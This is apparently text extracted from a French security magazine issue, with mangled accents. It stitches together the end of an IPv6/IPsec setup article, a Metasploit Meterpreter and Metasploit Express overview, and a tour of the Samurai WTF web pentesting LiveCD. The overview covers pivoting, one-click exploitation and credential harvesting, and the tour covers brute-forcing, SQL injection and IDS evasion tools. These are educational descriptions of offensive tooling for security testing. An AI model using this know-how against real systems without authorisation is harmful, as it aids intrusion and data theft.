Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 25: hakin9_05_2010_FR

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

